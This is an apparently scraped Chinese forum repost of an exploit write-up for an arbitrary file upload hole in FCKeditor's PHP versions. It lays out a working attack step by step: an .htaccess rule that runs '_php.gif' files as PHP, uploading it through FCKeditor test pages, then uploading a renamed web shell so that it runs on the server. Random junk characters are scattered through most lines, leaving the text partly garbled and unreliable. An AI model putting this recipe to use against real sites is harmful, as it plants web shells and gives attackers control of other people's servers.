FCKeditor所有php版本Upload上传漏洞
( F' A2 o. i1 y" G作者：佚名 来源：本站整理 发布时间：2011-10-25 7:39:07' D" H; t3 j3 U" K9 G; ~
减小字体 增大字体
: A4 @- k1 u; E% ]! h[+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability! c2 A4 C% x6 R; L4 @( n' @
[+] Date: 2011; T2 M" `6 O G
[+] Author : sinesafe.cn
2 |/ e: ~2 `' n[+] Website : WwW.sinesafe.cn8 z M. ?1 j! `& f6 R8 M+ Q7 d) \
———————————————————7 Y. i* f9 k- N8 c) h2 p
1.create a htaccess file:7 ?" }5 G& a2 Y9 [0 L6 R$ d% a2 J: T
code:
) V4 k. Y% k, a/ L4 D<FilesMatch “_php.gif”>7 D' s* d& ]2 D; f# u. U; U. e
SetHandler application/x-httpd-php# A9 M4 {& E; l. u0 U3 q
</FilesMatch>
" O, C9 [9 k3 |/ _2 g4 y$ L* f- ^
5 M6 q2 E& ~. q- c4 [0 Y7 L2.Now upload this htaccess with FCKeditor.
8 K* r+ ]" }0 h- B* z" Y$ p$ [ x9 c& u
4 X7 ^0 c8 d. G; W0 nhttp://www.sinesafe.cn/FCKeditor ... er/upload/test.html) ^: ?/ }" R' r0 R; L
- R0 w0 m" _ p% M- t& P
http://www.sinesafe.cn/FCKeditor ... onnectors/test.html0 u# o, T) \' |% V
2 Q" ~$ f5 X; n4 [2 N$ ?) k0 |! e
———————————————————————————————-* O, _, I3 a4 J
3.Now upload shell.php.gif with FCKeditor.
0 \$ H% z2 G. {$ t Q+ J" n3 Y# n' J4.After upload shell.php.gif, the name “shell.php.gif” change to “shell_php.gif” automatically.
% N" P7 z- M8 c3 }6 M5 U2 }" J/ a( p5.http://www.sinesafe.cn/anything/shell_php.gif# f; Q( A1 x: f: B. D
6.Now shell is available from server. |
( {9 b5 L, O: p& B! L( Q. P5 e9 v {5 `% `, v( L
# W5 n, g" L9 Y3 v+ O! ^8 V0 \ |
发表于 2013-10-27 17:25:21
收藏
支持
反对